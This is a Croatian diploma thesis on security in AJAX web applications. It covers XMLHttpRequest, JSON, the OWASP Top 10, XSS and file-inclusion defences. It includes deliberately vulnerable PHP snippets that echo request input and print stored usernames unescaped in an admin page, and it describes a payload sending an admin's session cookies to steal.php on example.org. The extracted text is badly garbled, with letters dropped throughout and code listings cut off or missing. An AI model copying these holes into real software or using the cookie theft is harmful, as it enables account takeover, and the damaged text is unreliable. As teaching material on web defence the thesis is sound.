Professional Documents
Culture Documents
Sigurnost Web Aplikacija Zasnovanih Na AJAX Tehnologiji
Sigurnost Web Aplikacija Zasnovanih Na AJAX Tehnologiji
Saetak
U ovom radu opisani su problemi sigurnosti Web aplikacija zasnovanih na AJAX tehnologiji.
Objanjeni su mehanizmi AJAX poziva, najee ranjivosti Web aplikacija i posebnosti koje se
odnose na AJAX aplikacije, kao i nain njihovog rjeavanja. Veinu opisa prate pripadajui
primjeri, radi lakeg razumijevanja. Takoer, kroz primjere su prikazani trendovi u eksploataciji
ranjivosti na komunikaciji izmeu klijenta i posluitelja, ali i na klijentu. U praktinom dijelu
opisana je stvorena AJAX aplikacija za manipulaciju konfiguracijskim datotekama IKE alata, kao i
problemi specifini za tu aplikaciju.
Abstract
This diploma thesis describes security problems in Web applications based on AJAX technology. It
describes basic AJAX mechanisms, most common Web application vulnerabilities and specific
problems that refer to AJAX applications, as well as the way of resolving them. Most of
descriptions are followed by real life examples for easier understanding. Also, examples show the
newest trends in vulnerability exploitation on the communication between client and server, as well
as on the client itself. The practical part of the paper describes the created AJAX application used
for manipulating the IKE configuration files and the security problems specific to that application.
Sadraj
1. Uvod...................................................................................................................................1
2. AJAX..................................................................................................................................3
2.1. Model Web aplikacije.................................................................................................3
2.2. JavaScript...................................................................................................................4
2.3. XMLHttpRequest objekt..............................................................................................5
2.4. DOM............................................................................................................................7
2.5. XML.............................................................................................................................8
2.6. JSON..........................................................................................................................8
2.7. Primjeri AJAX poziva..................................................................................................9
2.7.1. Dohvat HTML-a i umetanje u DOM stablo........................................................10
2.7.2. Dohvat XML-a i manipulacija............................................................................12
2.7.3. Dohvat JSON-a i evaluacija..............................................................................15
2.8. Alternativne tehnologije............................................................................................17
2.8.1. Flash tehnologije...............................................................................................17
2.8.2. ASP.NET Ajax...................................................................................................19
2.8.3. Java...................................................................................................................19
3. Sigurnost Web aplikacija.................................................................................................21
3.1. OWASP Top 10 ranjivosti Web aplikacija i metode zatite..................................... 22
3.1.1. Izvravanje napadakog kda...........................................................................22
3.1.2. Propusti ubacivanja...........................................................................................26
3.1.3. Izvoenje zlonamjernih datoteka...................................................................... 26
3.1.4. Nesigurna izravna referenca na objekt.............................................................27
3.1.5. Krivotvorenje zahtjeva.......................................................................................28
3.1.6. Isputanje informacija i neispravno rukovanje pogrekama.............................33
3.1.7. Razbijena autentifikacija i kontrola sjednice.....................................................33
3.1.8. Nesigurna kriptografska pohrana......................................................................34
3.1.9. Nesigurne komunikacije....................................................................................35
3.1.10. Neuspjena zatita pristupa URL-u................................................................ 35
3.2. Tipine ranjivosti AJAX aplikacija.............................................................................36
3.2.1. Nepravilna serijalizacija JavaScript objekata....................................................36
3.2.2. Ubacivanje JSON parova..................................................................................36
3.2.3. Trovanje JavaScript polja..................................................................................37
3.2.4. Manipulacija XML toka......................................................................................37
3.2.5. Ubacivanje skripte u DOM................................................................................37
3.2.6. Zaobilaenje politike istog izvora i povratna funkcija........................................37
3.2.7. RSS i Atom ubacivanja.....................................................................................38
3.2.8. Bomba jednog klika...........................................................................................38
3.2.9. Zaobilaenje politike istog izvora koritenjem Flash-a......................................38
3.3. Inspekcija klijentskog kda.......................................................................................38
3.3.1. Zatita kda u klijentu.......................................................................................39
3.4. Politika istog izvora...................................................................................................40
3.4.1. Opis mehanizma...............................................................................................40
3.4.2. Internacionalne domene................................................................................... 42
3.4.3. Vanjske skripte..................................................................................................42
3.4.4. PDF ranjivosti....................................................................................................42
3.4.5. DNS kvaenje....................................................................................................43
1. Uvod
Promatrajui povijest Interneta, predstavljanje World Wide Web-a (Web) 1990. godine jest jedna od
najvanijih prekretnica. Predstavljanjem Web-a, omogueno je atraktivno prikazivanje sadraja, ali
prije svega i povezivanje informacija, to je i neiskusnim korisnicima omoguilo pristup
informacijama svjetske mree. Ipak, Web je u prolosti bio iskljuivo statian. Obzirom na
ogranienja koja predstavlja statini sadraj, vrlo brzo je dolo do razvoja programskog okruenja
na strani klijenta. JavaScript, VBScript, Java Applet-i, ActiveX kontrole i nekoliko drugih
tehnologija doivjelo je veliki razvoj od 1995. godine. Sve ove tehnologije ciljale su na prijenos
aktivnosti s posluitelja na klijenta. Poetkom novog tisuljea, problemi koji su se pojavljivali u
radu s klijentskim tehnologijama, uzrokovali su ponovno vraanje velikog dijela aktivnosti nazad na
posluitelj. Privatne norme, trina politika i sigurnosni problemi klijenta smanjili su prihvatljivost
klijentske tehnologije. Zadnjih godina, ipak, histerija vezana za klijentske tehnologije je nestala te
moderne Web aplikacije koriste klijentske tehnologije (danas iskljuivo JavaScript) u jednakom
opsegu kao i posluiteljske tehnologije, a potrebni zadaci aplikacije su raspodijeljeni meu njima.
Web 2.0 je termin stvoren 2004. godine od O'Reilly Media, a oznaava drugu generaciju Web
baziranih zajednica i pruanih usluga kao to su stranice drutvenih povezivanja, wiki stranice i
druge stranice za razmjenu podataka i sadraja kojima je osnova suradnja i dijeljenje meu
korisnicima. Iako termin pretpostavlja novu verziju Web-a, ne radi se o novoj tehnikoj
specifikaciji, ve o promjenama u nainu koritenja Web platforme. Prema Timu O'Reilly-ju, Web
2.0 je poslovna revolucija u raunalnoj industriji uzrokovana prelaskom na Internet kao platformu i
pokuajem da se shvate pravila uspjeha na toj novoj platformi. [50]
Iako definicija Web 2.0 aplikacije ne postoji, poznate su njene osnovne karakteristike:
Mrea kao platforma, omoguava korisniku da koristi aplikacije kroz Web preglednik;
Korisnik je vlasnik podataka na stranici i ima mogunost kontrole nad tim podacima;
Blogovi;
Obzirom da je AJAX baza Web 2.0 aplikacija koja povezuje posluitelja i klijenta, te je trenutno
zastupljena u veini aplikacija te obzirom da su Web 2.0 aplikacije obino namijenjene veem broju
korisnika, iznimno je bitno obratiti panju na sigurnost AJAX aplikacija, posebice na klijentski dio.
U ovom radu su opisani AJAX mehanizmi i najei problemi vezani uz AJAX aplikacije, ali i ire
u okviru Web 2.0 aplikacija. Problemi, kao i mogunosti rjeavanja tih problema opisani su kako
teorijski, tako i kroz primjere. U praktinom dijelu rada, opisana je stvorena AJAX aplikacija, kao i
sigurnosni problemi vezani uz nju.
2. AJAX
Termin AJAX nastao je u veljai 2005. godine [3]. Stvorio ga je Jesse James Garrett, osniva
Adaptive Path-a, poduzea koje se bavi razvojem informacijske arhitekture. Termin se ralanjuje
na dva osnovna naina, kao:
U definiciji AJAX-a koju Garrett navodi [2], kae da termin AJAX ne predstavlja tehnologiju, ve
skup tehnologija, a to su:
odgovor, stranicu prikae u svom prozoru. Ovo uzrokuje kreni-stani nain rada, tonije uzrokuje
pauze pri dohvatu podataka u kojima korisnik pred sobom ima prazan prozor preglednika. AJAX
uvodi asinkronost u prihvatu podataka, dodavanjem novog sloja u aplikaciju, kako je prikazano na
slici 2.2. Umjesto da uita samo Web stranicu, preglednik pri poetku sjednice uita i AJAX
mehanizme napisane u JavaScript jeziku. Ovaj mehanizam je odgovoran kako za iscrtavanje
sadraja korisniku, tako i za komunikaciju s posluiteljem pri dohvatu izmjena ili novih podataka.
2.2. JavaScript
JavaScript je naziv implementacije ECMAScript norme koju su ostvarili Netscape Communication
Corporation, te kasnije Mozilla Foundation. Radi se o skriptnom programskom jeziku koji se
oslanja na koncept programiranja na bazi prototipa. Jezik je najpoznatiji po njegovom koritenju u
izradi Web stranica (kao JavaScript na klijentskoj strani), ali ga je mogue koristiti i na strani
posluitelja, no to je jako rijedak sluaj. Unato imenu, JavaScript nema veih poveznica s Java
programskim jezikom, ve je puno sliniji sintaksi koju koristi C programski jezik. Ime je zapravo
nastalo preimenovanjem iz naziva LiveScript, kao rezultat poslovne suradnje izmeu Netscape-a i
Sun-a u zamjenu za integraciju Sun-ove Java jezgre u tada dominantan Netscape-ov Navigator
preglednik. JavaScript je prvotno razvio Brendan Eich, zaposlenik Netscape-a pod imenom Mocha,
a kasnije LiveScript.
Kada se govori o koritenju JavaScript-a u Microsoft Internet Explorer pregledniku, zapravo se
misli na JScript, Microsoft-ovu implementaciju ECMAScript-a koja skoro u potpunosti jednaka
JavaScript implementaciji.
Od 2006. godine, posljednja verzija jezika je JavaScript 1.7. Prijanja verzija 1.6 odgovarala je
ECMA-262 treem izdanju kao i JavaScript 1.5, osim u odreenim detaljima vezanim uz String i
Array objekte. Jednostavno reeno, ECMAScript je normizirana verzija JavaScript-a.
Kako je reeno, JavaScript je sintaksom slian C jeziku te kao i C jezik nema konstruktore i
destruktore. Dok se C jezik oslanja na standardne ulazno izlazne biblioteke, JavaScript je oslanja na
okolinu u kojoj je umetnut. Postoji mnogo primjera okolina u kojoj JavaScript moe funkcionirati, a
najpoznatije su Web tehnologije.
Jedna od najznaajnijih upotreba JavaScript-a jest pisanje funkcija koje su uloene ili ukljuene u
HTML stranice, te manipuliraju s DOM objektom stranice, da bi se izvele funkcije koje HTML ne
moe izvriti. Ovo se esto naziva i DHTML (Dynamic HTML). Neke od najeih upotreba su:
otvaranje ili iskakanje novog prozora s kontrolom nad njegovom veliinom, pozicijom i
izgledom;
izmjena slika u trenutku kada korisnik miem prelazi preko njih. Ovaj efekt je vrlo esto
koriten da bi se privukla pozornost korisnika na bitne veze koje su prikazane kao grafiki
elementi.
DOM suelje se razlikuje u razliitim preglednicima i ne odgovara uvijek W3C DOM normi.
Umjesto da se piu razliite verzije JavaScript funkcija za svaki od mnotva preglednika koji su
danas u uporabi, obino je mogue, praenjem W3C DOM Level 1 i Level 2 normi, ostvariti
potrebnu funkcionalnost prema danim standardima na nain da e veina preglednika ispravno
izvesti izvorni kd. Uvijek je potrebno obratiti panju da se stranice degradiraju na primjeren nain
kako bi ostale upotrebljive korisnicima koji imaju:
preglednik koji ne podrava JavaScript na primjer starija PDA runa raunala i mobiteli;
Meutim, to se tie AJAX aplikacija, obzirom da je JavaScript njihova osnova, prve dvije toke su
neto na to se panja ne obraa, posebice obzirom da se razvojem tehnologije JavaScript ukljuuje
u sve poznate preglednike na svim platformama.
Osim na Web-u, JavaScript interpreteri su ugnijedeni u razliite druge alate. Adobe Acrobat i
Adobe Reader podravaju JavaScript u PDF datotekama. Alati u skupu Adobe Creative Suite, kao
to su Photoshop, Illustrator i InDesign, takoer omoguavaju skriptiranje JavaScript-om. Mozilla
platforma, koja je jezgra za nekoliko Web preglednika, koristi JavaScript za implementaciju
korisnikog suelja i transakcijske logike svojih drugih proizvoda. Takoer, interpreteri su
ugnijedeni i u vlasnike aplikacije koje nemaju skriptno suelje. Dashboard Widget-i u Appleovom Mac OS X sustavu su implementirani koritenjem JavaScript-a, kao i Microsoft-ova Active
Scripting tehnologija koja podrava JavaScript kompatibilan JScript kao skriptni jezik operacijskog
sustava. JScript .NET je CLI kompatibilan jezik slian JScript-u, ali ima vee objektno orijentirane
mogunosti [5,39].
method moe imati vrijednost GET, POST, HEAD, PUT, DELETE, ili
neku drugu dozvoljenu HTTP metodu,
async parametar koji specificira treba li se zahtjev obraditi asinkrono ili ne. True
vrijednost oznaava da se izvravanje skripte treba nastaviti nakon poziva send()
metode, bez ekanja na odgovor, dok false vrijednost znai da izvravanje skripte treba
zaustaviti dok ne dospije odgovor na zahtjev;
send (content) metoda koja izvrava slanje zahtjeva. Argument metode je obino NULL
kada se radi o GET zahtjevu, a ako se radi o POST zahtjevu tada se kao argument
umeu parametri POST zahtjeva;
onreadystatechange specificira referencu na dio kda koji e vriti obradu dogaaja koji
se okida svaki puta kada se promjeni stanje objekta;
0 neinicijaliziran
1 otvoren
2 poslan
3 primljen
4 uitan;
responseXML daje vrijednost odgovora u XML formatu. Ova osobina vraa objekt XML
dokumenta, koji moe biti pregledan i ralanjen koritenjem W3C DOM metoda i osobina
za strukturirano stablo;
status daje statusni kd HTTP zahtjeva kao broj (404 za Not Found, 200 za OK i
slino);
statusText daje status HTTP zahtjeva kao tekst (Not Found, OK i slino).
XMLHttpRequest koncept je prvotno razvio Microsoft kao dio Outlook Web Access 2000. Njihova
implementacija je nazvana XMLHTTP te je dostupna od pojave Internet Explorer preglednika
verzije 5.0 i moe joj se pristupati kroz JScript, VBScript i druge skriptne jezike koje IE preglednici
podravaju.
2.4. DOM
W3C (World Wide Web Consortium) je razvio W3C DOM (Document Object Model) kao odgovor
na razvoj razliitih vlasnikih modela za HTML.
W3C je zapoeo razvoj DOM modela sredinom devedesetih godina prolog stoljea. Iako W3C
nikad nije napravio specifikaciju DOM 0, ona je kao djelomino dokumentirani prijelazni model
ukljuena u specifikaciju HTML 4. U listopadu 1998. zavrena je prva specifikacija DOM modela
(DOM 1). U studenom 2000. objavljena je DOM 2 specifikacija koja je izmeu ostaloga definirala i
model stilskih predloaka (engl. style sheet) i nain manipulacije stilskim informacijama. DOM 3 je
objavljen u travnju 2004. godine, te je trenutno valjana DOM specifikacija.
W3C DOM specifikacije su podijeljene na nivoe, od kojih svaki sadri zahtjevane i neobvezne
module. Da bi podravala pojedini nivo, aplikacija mora implementirati sve zahtjeve eljenog
nivoa, kao i zahtjeve nivoa ispod njega. Aplikacija takoer moe podravati dodatke koji su
specifini pojedinom isporuitelju, a nisu u konfliktu s W3C normama. 2005. godine, Level 1,
Level 2 i neki moduli Level 3 nivoa postali su W3C preporuke (engl. recommendations) to bi
znailo da su dostigli krajnju formu. Pojedini nivoi izgledaju ovako:
Level 1 Navigacija kroz DOM (HTML i XML) dokument (struktura stabla) i manipulacija
sadrajem (ukljuujui dodavanje elemenata). HTML specifini elementi su takoer
ukljueni;
Obzirom da je svaki Web preglednik podravao svoj prijelazni DOM model, problemi
interoperabilnosti su bili brojni. Da bi se podrala kompatibilnost izmeu preglednika, veliki
dijelovi DHTML kda su bili prepravljeni. Zajedniki DOM je omoguavao jednostavniju izradu
kompleksnih Web aplikacija. W3C DOM Level 1 je postao preporuka 1. listopada 1998., ali
pokuaj normizacije nije odmah zaivio, obzirom da su nepodobni preglednici, kao to su bili IE 4.x
i Netscape 4.x, bili masovno koriteni i 2000. godine. Od 2005. godine, velika veina W3C DOM
7
2.5. XML
XML (engl. eXtensible Markup Language) je jezik obiljeavanja ope primjene. Osnovna svrha mu
je olakati dijeljenje podataka kroz razliite informacijske sustave, posebice preko Interneta. XML
je pojednostavljeni podskup SGML jezika (engl. Standard Generalized Markup Language) i
dizajniran je da bi bio lako itljiv ovjeku. XML se smatra ope primjenjivim jer omoguava
koritenje u razliitim aplikacijama i razliitim domenama problema. Tisue formalno definiranih
jezika obiljeavanja bazirani su na XML-u, izmeu ostaloga i XHTML (pokuaj pojednostavljivanja
HTML-a, koji je baziran na SGML-u), RSS, MathML, GraphML, SVG, MusicXML i drugi.
XML je takoer preporuka W3C-a. Osim to je definiran kao otvorena i besplatna norma, W3C
specificira leksiku gramatiku i zahtjeve za ralambu.
U ispisu 2.1 je naveden primjer XML-om opisane poruke od Ivice za Janicu:
Ispis 2.1. XML primjer poruke
<poruka>
<za>Janica</za>
<od>Ivica</od>
<naslov>Podsjetnik</naslov>
<sadraj>Sjeti me se ovaj vikend!</sadraj>
</poruka>
valjan, provjeren (engl. valid) je dokument koji se pridrava nekih semantikih pravila. Ta
pravila obino definira korisnik u posebnom dijelu dokumenta (<!DOCTYPE>), opisnoj DTD
datoteci (engl. Document Type Definition) ili su ukljuena kroz XML shemu (engl. XML
schema). Ukoliko se pojedini elementi ne pridravaju definiranih pravila, dokument nije
valjan te se kao takav ne smatra XML dokumentom.
Obzirom da je XML jezik za opis podataka, dokumenti ne nose informacije o tome kako se podaci
trebaju prikazati. Bez koritenja CSS-a ili XSL-a, generiki XML dokument se prikazuje kao
neobraen XML tekst u veini Web preglednika [6].
2.6. JSON
JSON (engl. JavaScript Object Notation) je format za razmjenu poruka. Format je tekstualan i
razumljiv ovjeku, a slui predstavljanju objekata i drugih struktura podataka te se najee koristi
za prijenos takvih struktura kroz mreu (proces se naziva serijalizacija).
Njegova najea upotreba je u AJAX aplikacijama, kao jednostavna alternativa XML-u, za
asinkroni prijenos strukturiranih informacija izmeu klijenta i posluitelja. JSON je podskup
doslovnog zapisa JavaScript objekata te se najee koristi s JavaScript-om. Meutim, osnovni
tipovi i strukture podataka veine programskih jezika se mogu predstaviti u JSON-u pa stoga format
moe biti koriten za izmjenu strukturiranih podataka izmeu programa pisanih u razliitim
jezicima. Kd za ralambu i generiranje JSON zapisa je dostupan za ActionScript, C, C++, C#,
ColdFusion, Common Lisp, Delphi/Object pascal, E, Erlang, Haskell, Java, JavaScript, Limbo, Lua,
8
ML, Objective-C, Objective CAML, Perl, PHP, Python, Rebol, Ruby, Smalltalk i Tcl. Dakle,
praktiki svaki programski jezik koji se danas koristi.
JSON format je specificiran u RFC 4627 dokumentu [52]. Slubeni MIME tip za JSON je
application/json.
Osnovni tipovi podataka u JSON-u su:
String tekst, unicode zapis ogranien navodnicima () i sa znakom kose crte (\) za
izbjegavanje posebnih znakova;
Primjer koji slijedi u ispisu 2.2 prikazuje JSON reprezentaciju objekta koji opisuje osobu. Objekt
ima dva tekstualna tipa koji oznauju ime i prezime, sadri objekt koji predstavlja adresu osobe te
sadri listu brojeva telefona u obliku polja.
Ispis 2.2. Primjer JSON zapisa objekta
{
"firstName": "John",
"lastName": "Smith",
"address": {
"streetAddress": "21 2nd Street",
"city": "New York",
"state": "NY",
"postalCode": 10021
},
"phoneNumbers": [
"212 732-1234",
"646 123-4567"
]
Ako pretpostavimo da je gornji tekst sadran u JavaScript varijabli tipa string (imena JSON_text) te
obzirom da je JSON doslovni zapis JavaScript objekata, korisnik moe ponovno stvoriti objekt koji
opisuje osobu jednostavnom JavaScript eval() naredbom kao u ispisu 2.3.
Ispis 2.3. Evaluacija JSON objekta
Var p = eval (( + JSON_text +));
naredba ne bi trebala biti koritena za ralambu JSON-a ukoliko je izvor nepovjerljiv [7].
}
</script>
</head>
<body>
<a href="#" onclick="ajax();">AJAX</a>
<div id="izmjena"></div>
</body>
</html>
U ispisu je vidljivo da se radi o HTML stranici, koja u tijelu ima DIV element (identifikatora
izmjena) u koje e se umetnuti dohvaeni sadraj te vezu koja na dogaaj klika poziva JavaScript
funkciju ajax(). Funkcija se nalazi unutar SCRIPT oznaka te je komentirana.
Kada se stranica uita, preglednik eka da korisnik klikne na vezu te se tada poziva funkcija
ajax(). Nakon uitavanja, prozor preglednika izgleda kao na slici 2.3.
Nakon stvaranja xhr objekta (koritenjem XMLHttpRequest-a ili Microsoft.XMLHTTP ActiveX
komponente), postavlja se funkcija koja se izvrava pri promjeni stanja te se zatim alje zahtjev.
Svakom promjenom stanja objekta, poziva se definirana funkcija te se ispituju uvjeti definirani u
10
njoj. Ukoliko je primljen odgovor statusa 200, vri se umetanje primljenog teksta u DOM stablo, tj.
u DIV element.
Iz primjera je jasno da nam je potrebna i PHP skripta (html.php) koja generira novi sadraj. Zbog
jednostavnosti, skripta e vraati HTML formatirani zapis trenutnog datuma i vremena na
posluitelju, a izgleda kako prikazuje ispis 2.5.
Ispis 2.5. Izgled PHP skripte koja generira HTML sadraj
<p><b>
<?php
//Ispis datuma i vremena
echo(gmstrftime("Sada je %a, %b %d, %Y, %X vremenska zona: %Z",time()));
?>
</b></p>
11
U konzoli ispod stranice vidljivo je da je odaslan GET zahtjev prema stranici html.php te je vidljiv
i sadraj odgovora.
12
Nakon uspjenog primanja odgovora, odgovor se u tekstualnom obliku dodaje stranici (DIV
izmjena), a zatim se iz odgovora koritenjem njegove XML strukture dohvaaju vrijednosti
elemenata i umeu u strukturirani zapis koji se ispisuje u DIV identifikatora moji_podaci. Skripta
na posluitelju mora kao odgovor vratiti XML zapis, kako pokazuje ispis 2.7.
13
Poetna stranica je istog izgleda, a nakon dohvata odgovora i obrade, stranica izgleda kao na slici
2.5.
U prvom DIV elementu nisu vidljive XML oznake jer ih preglednik ne prikazuje, dok je drugi ispis
ispravno strukturiran prema danom pravilu. Tekst odgovora vidljiv je u konzoli.
14
Nakon uspjenog primanja odgovora, odgovor se u tekstualnom obliku dodaje stranici (DIV
izmjena), a zatim se evaluacijom odgovora stvara novi objekt te dohvaaju vrijednosti elemenata i
umeu u strukturirani zapis koji se ispisuje u DIV moji_podaci. Skripta na posluitelju mora kao
odgovor vratiti JSON zapis, kako pokazuje ispis 2.9.
15
Poetna stranica je ponovno istog izgleda, a nakon dohvata odgovora i obrade, stranica izgleda kao
na slici 2.6.
U prvom DIV elementu je vidljiva primljena JSON struktura, dok je drugi ispis ispravno
strukturiran prema danom pravilu.
16
Adobe Flex Cilj Flex-a je omoguiti brz i jednostavan razvoj Web 2.0 aplikacija [48].
Flex aplikacije se kao i AJAX, izvravaju na prezentacijskom sloju. Razvoj grafikog
korisnikog suelja Flex bazira na MXML jeziku koji je XML strukturirani jezik, ali
sadrava i razliite komponente koje omoguuju koritenje Web usluga, udaljenih objekata,
drag&drop, sortirajuih tablica, grafova, ugraenih animacija i drugih interakcija suelja.
Arhitektura Adobe Flex tehnologije, prikazana je na slici 2.7.
Obzirom da se klijentski program uitava samo jednom, radni tok je znatno unaprijeen
obzirom na HTML bazirane aplikacije. Flex je inicijalno stvoren kao J2EE aplikacija koja je
vrila kompajliranje MXML i ActionScript podataka u tijeku izvoenja u Flash aplikacije
(binarne SWF datoteke). Kasnije verzije Flex-a dozvolile su stvaranje statikih datoteka koje
se kompajliraju pri razvoju. Izgled primjera Web aplikacije stvorene Adobe Flex
tehnologijom vidljiv je na slici 2.8.
17
OpenLaszlo Ovo je platforma otvorenog kda za razvoj Web 2.0 aplikacija [47].
OpenLaszlo platforma se sastoji od LZX programskog jezika i OpenLaszlo posluitelja te
njihovih komponenti kako je prikazano na slici 2.9. LZX je XML i JavaScript kd slian
MXML-u te je dizajniran da bi se pribliio razvijateljima koji koriste HTML i JavaScript.
OpenLaszlo posluitelj je Java servlet koji vri kompajliranje LZX aplikacija u izvrne
datoteke za pojedina okruenja. OpenLaszlo aplikacije se mogu izvesti kao tradicionalni
Java servleti, koji se se dinamiki kompajliraju i dostavljaju pregledniku, ili se mogu
kompajlirati u SWF Flash datoteke koje se mogu statiki ukljuiti u Web stranicu. Izgled
primjera Web aplikacije stvorene OpenLaszlo tehnologijom vidljiv je na slici 2.10.
Prednosti koje prua ovaj nain razvoja su generalna neovisnost o platformi i pregledniku, brzina i
fleksibilnost, te moni razvojni alati. Meutim, za razvoj su potrebna specifina znanja vezana uz
okruenje koje se koristi.
18
2.8.3. Java
Razvoj Ajax aplikacija u Java okruenju se u pravilu zasniva na Java Servlet-ima na posluitelju i
JavaScript kdu na klijentu, kao primjerice DWR okruenje na vidljivo na slici 2.12.
19
Obino se cjelokupan razvoj vri u Java okruenju, a posebnim kompajlerima se iz postojeeg Java
kda stvara JavaScript i HTML kd koji e se izvravati u pregledniku, dok se ostatak kda izvodi
na posluitelju. Neka od ee koritenih okruenja su DWR, Struts, Spring i Google Web Toolkit
[59].
20
Viestruke razbacane krajnje toke i skriveni pozivi Jedna od glavnih razlika izmeu
Web 2.0 i tradicionalnih Web aplikacija je mehanizam pristupa informacijama. Aplikacije
imaju vie krajnjih toaka za pristup AJAX-om u usporedbi s tradicionalnim aplikacijama.
Potencijalni AJAX pozivi su razbacani kroz cijelu Web stranicu te ih je mogue inicirati
pripadajuim dogaajima. Ova rairenost AJAX poziva oteava razvoj, ali takoer uvodi
nemaran nain programiranja obzirom da su pozivi skriveni ili ne tako oiti;
Zbunjujua provjera Jedan od vanih faktora svake Web aplikacije je provjera ulaza i
izlaza. Web 2.0 aplikacije koriste zaobilaenje politike istog izvora, feed i mashup sadraje.
U mnogo sluajeva, pretpostavlja se da je druga strana implementirala provjeru, to dovodi
do zablude u kojoj niti jedna strana ne implementira ispravnu provjeru;
Web 2.0 aplikacije mogu postati ranjive pojavom gornjih pogreaka, to moe dovesti do
eksploatacije ranjivosti i na posluitelju i na klijentu [10,12].
21
pojavljuje se u 67,59% sluajeva, te kako prikazuje slika 3.2, vidljivo je da je 85,57% Web
aplikacija ranjivo na XSS napad [43]. Stoga je u nastavku vea panja dana upravo na XSS i CSRF
ranjivosti.
22
preglednikom. Zloudna skripta je najee JavaScript, iako je ranjivost mogue ostvariti bilo kojim
skriptnim jezikom koji Web preglednik rtve podrava.
Postoje tri poznata tipa XSS-a: reflektirani, pohranjeni i DOM ubacivanje. Reflektirani tip je
najlake eksploatirati, a zasniva se na tome da Web stranica reflektira korisniki unos nazad prema
korisniku. Primjer koji dozvoljava ovaj nain eksploatacije u PHP skripti izgleda kao u ispisu 3.1.
Ispis 3.1. Primjer XSS ranjivosti u PHP skripti
echo $_REQUEST['userinput'];
Ovim kdom e PHP skripta u tijelo HTML dokumenta ispisati sadraj koji je dobila od korisnika.
Pohranjeni tip XSS-a se zasniva na tome da se nepoeljan korisniki unos pohrani u datoteku, bazu
podataka ili neki pozadinski sustav te se kasnije bez filtriranja prikae korisnicima. Ovaj tip XSS-a
je vrlo opasan u sustavima kao to su CMS, blogovi i forumi gdje velik broj korisnika vidi unos
drugih korisnika. XSS napad baziran na DOM ubacivanju temelji se na malo drugaijoj praksi.
Umjesto da se, kao u prethodnim tipovima mijenjaju HTML elementi, vri se izmjena JavaScript
kda ili varijabli. Takoer, mogue je da je napadaki kd mjeavina ova tri tipa.
Koritenje JavaScript-a daje mogunost napadau da manipulira svim aspektima stranice koja se
prikazuje. To znai da mu JavaScript omoguuje dodavanje novih elemenata, manipulacija internim
DOM stablom i izmjena izgleda stranice. Takoer, omogueno mu je koritenje XMLHttpRequest
objekta, bez obzira da li stranica koristi AJAX mehanizme.
Da bi se shvatilo zato je prihvat neprovjerenog ulaza opasan, promotrimo jednostavan registracijski
formular u koji korisnik upisuje korisniko ime i adresu elektronike pote te mu se na istu alju
podaci o registraciji nakon stvaranja korisnikog rauna. U primjeru se moe koristiti formular kao
u ispisu 3.2.
Ispis 3.2. Primjer formulara kod XSS napada
<form action="/registriraj.php" method="POST">
<p>Korisniko ime: <input type="text" name="username" /></p>
<p>Email: <input type="text" name="email" /></p>
<p><input type="submit" value="Registriraj me" /></p>
</form>
23
Ukoliko podaci koji se poalju nisu ispravno provjereni, zlonamjerni korisnik moe poslati
zloudne podatke stranici registriraj.php. Promotrimo kako izgleda pripadna skripta u kojoj se
podaci o registraciji spremaju u bazu podataka u ispisu 3.3.
Ispis 3.3. Primjer PHP skripte za pohranu podataka o registraciji u bazu podataka
<?php
$mysql = array();
$mysql['username'] = mysql_real_escape_string($_POST['username']);
$mysql['email'] = mysql_real_escape_string($_POST['email']);
$sql = "INSERT
INTO
users (username, email)
VALUES ('{$mysql['username']}', '{$mysql['email']}')";
?>
Iako je odmah jasno da ovo nije stvarno korisniko ime, oito je proputena provjera unosa te e
ovaj zloudni kd zavriti u zapisu baze podataka. Naravno, opasnost koja slijedi iz XSS napada se
oituje u trenutku kad se ovaj zapis prikazuje korisnicima. Pretpostavimo da sustav registracije ima
administrativno suelje koje je dostupno iskljuivo autoriziranim korisnicima. Sada pretpostavimo
da se narednim PHP kdom autoriziranom administratoru prikazuje lista registriranih korisnika, kao
to je prikazano u ispisu 3.5.
Ispis 3.5. PHP skripta za prikaz registriranih korisnika ranjiva na XSS napad
<table>
<tr>
<th>Username</th>
<th>Email</th>
</tr>
<?php
if ($_SESSION['admin']) {
$sql = 'SELECT username, email
FROM
users';
$result = mysql_query($sql);
while ($record = mysql_fetch_assoc($result)) {
echo "
<tr>\n";
echo "
<td>{$record['username']}</td>\n";
echo "
<td>{$record['email']}</td>\n";
echo "
</tr>\n";
}
}
?>
</table>
Ukoliko su podaci u bazi zamijenjeni zloudnim kdom, administrator e biti rtva XSS napada.
Napad je prikazan na slici 3.4.
Rizik je jo jasniji ukoliko se kao korisniko ime umetne kd kao u ispisu 3.6.
24
Ukoliko se ovaj kd izvede u pregledniku administratora, njegovi podaci o sjednici e biti poslani
na example.org gdje e ih steal.php skripta dohvatiti pomou $_GET['cookies']. Kad su podaci o
sjednici prihvaeni, oni mogu biti iskoriteni za krau administratorskog rauna [29].
Najbolji koncept zatite od XSS-a je kombinacija whitelist provjere (provjere po listi valjanih
unosa) svih ulaza i odgovarajue kdiranje izlaznih podataka. Provjera omoguava detekciju
napada, dok izlazno kdiranje zaustavlja izvoenje eventualno uspjeno ubaenog kda.
Sprjeavanje XSS-a kroz cijelu aplikaciju zahtjeva konzistentan pristup kroz cijelu arhitekturu
aplikacije, to ukljuuje:
provjeru ulaza potrebno je koristiti standardne mehanizme provjere svih ulaznih podataka
prema oekivanoj duljini, tipu, sintaksi i poslovnom procesu prije nego ih se pohrani ili
prikae korisniku. Preporueno je prihvaati ono to znamo da je valjano te odbiti nevaljale
unose radije nego da ih se pokuava pretvoriti u valjane;
paljivo izlazno kdiranje potrebno je osigurati da su svi podaci koje je dao korisnik
HTML kdirani prije nego se prikau u pregledniku i to na nain da se sav sadraj HTML
kdira, osim eventualno ogranienog podskupa;
25
provoditi pristup s najmanjom privilegijom kod pristupa bazama podataka ili drugim
pozadinskim sustavima;
oprezno koristiti SQL pohranjene procedure jer one mogu biti izmijenjene od napadaa;
ne koristiti suelja za dinamike upite ukoliko nije provjeren nivo zatite koji suelje koristi;
PHP preporua se koritenje PDO-a (engl. PHP Data Objects), PHP dodatka sa sueljima
za pristup bazama podataka koji ima paljivo tipizirane i parametrizirane upite
(bindParam()).
Ovaj napad je posebice rairen u PHP okruenju te je potrebno posebno paljivo kontrolirati
korisnike ulaze vezane uz imena datoteka.
Ranjiva linija je esto slina liniji kda u ispisu 3.8.
26
koristiti shemu imenovanja kod provjere datoteka, slinoj shemi prikazanoj u ispisu 3.9
Ispis 3.9. Primjer sheme imenovanja za zatitu od zlonamjernog izvoenja datoteka
$language = intval($_POST['language]);
if ($language > 0) {
require_once($lang[$language]); // lang je polje stringova "fr.lang.php"
}
sigurnosnoj stijeni dodati pravilo zabrane stvaranja novih veza od strane Web posluitelja
prema drugim vanjskim Web posluiteljima;
